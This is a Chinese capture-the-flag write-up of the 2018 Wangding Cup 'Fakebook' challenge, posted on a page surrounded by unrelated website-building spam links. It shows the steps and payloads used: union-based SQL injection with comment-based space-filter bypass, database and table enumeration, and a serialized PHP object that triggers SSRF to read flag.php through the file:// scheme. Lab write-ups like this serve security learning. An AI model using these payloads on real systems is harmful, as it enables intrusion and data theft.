当前位置: 首页 > news >正文

小学校园网站怎么建设成都网站定制中心

小学校园网站怎么建设,成都网站定制中心,做网站 人员,温州网站建设培训班[网鼎杯 2018]Fakebook 打开环境出现一个登录注册的页面 在登录和注册中发现 了地址栏出现变化&#xff0c;扫一波看看 看看robots.txt和flag.php 访问robots.txt看看 再访问user.php.bak <?php class UserInfo { public $name ""; public …

[网鼎杯 2018]Fakebook

 打开环境出现一个登录注册的页面        

在登录和注册中发现 了地址栏出现变化,扫一波看看

898e260f778946408418a2ffc458e78d.png

 5465e8d10b97457b8978ec2e8c1d446d.png

看看robots.txt和flag.php    访问robots.txt看看

cd295b0ee383403481cedbd26c4eea04.png

再访问user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

 想起来刚刚有一个注册的,先注册一个看看

填的时候可以随便复制一篇内容过去看看,这样才能进行注册

f820601849ad47bfa1497fbcc1a8e7e0.png

并且发现一个注入点,尝试一下简单的注入

order by 4#     页面回显正常

order by 5#     页面回显不正常

说明有四个字段

union查看显位

?no=1 union select 1,2,3,4#                  no hack ~_~
?no=1 ununionion seselectlect database();    no
?no=1 uNion sElEct database();               no
?no=1 union/**/select 1,2,3,4#               yes
?no=0 union/**/select 1,database(),3,4#      yes
 

测试中发现过滤了空格

17799aa32ecd4ea29015c6662756c213.png

回显的位置是2

库表字段内容

爆库:?no=-1 union/**/select 1,database(),3,4#
报表:?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆字段:?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #
爆data值:?no=-1 union/**/select 1,group_concat(data),3,4 from users #

26037424baaa45f8ab6814e4a0d58fa9.png

 1b1c52b29b8f4c44bdf38ecaffe7541b.png

以为会出现内容,但是发现没有结果,得到了一串序列化的字符串

刚刚的提到的.bak文件,这个应该会和刚刚的有关

发现在get方法中,curl_exec()如果使用不当就会导致ssrf漏洞

有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容。

可以用file协议利用ssrf漏洞读取文件,再通过序列化去读取flag.php

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:20;s:4:"blog";s:83:"file:///var/www/html/flag.php";}'#

afe8af24987942d398b882d137cfcb6a.png

出现view.php

15292e041f974f87bf491334b11c96f7.png

 

 

 

http://www.yayakq.cn/news/16771/

相关文章:

  • 怎么做网站推画册设计一般用什么软件
  • 温州网站维护工作工装
  • 苏州企业门户网站免费交流网站建设
  • 百度门户网站asp.net 电商网站开发
  • 购物网站备案费用中国标准物质信息网网站建设
  • 最便宜的视频网站建设企业手机网站建设定制
  • 地方生活门户网站名称wordpress加密某一页面
  • 有没有专门做化妆品小样的网站网站改版换了域名
  • 网站后台添加查看爬虫的痕迹在线seo优化
  • 求推荐专业的网站建设开发深圳地图
  • 有哪些调查网站可以做兼职购物网站开发 书籍
  • 外贸网站制作有哪些网页制作工具中文版
  • 制作旅游网站网页的代码毕节市住房和城乡建设局网站
  • 在线域名ip查询广州品牌seo推广
  • 龙华网站建设yihekj互联网网站建设情况统计表
  • 常平镇仿做网站网站的佣金怎么做会计分录
  • 在网站上保存网址怎么做公司网站制作哪家公司好
  • 织梦网站首页在哪里改在哪家网站上可以找到加工活做
  • 青岛网站seo诊断wordpress发展现状
  • 国外网站建设发展现状wordpress集成后台无法登录
  • 明薇通网站建设价格免费app开发平台
  • 18岁以上准备好纸巾免费网站页面设计理念说明
  • 网站开发公司合作协议书手机网站的建设
  • wordpress自定义登录框插件昆明做网站优化
  • iis默认网站打不开马可波罗网站如何做产品推广
  • 网站的意思做视频网站应该选什么服务器
  • 商务网站建设中存在的问题网站建设中模板代码
  • 建造网站微信推广平台怎么做
  • 电子商务网站建设的步骤一般好项目推荐平台
  • 上海做兼职网站有吗中山好的网站建设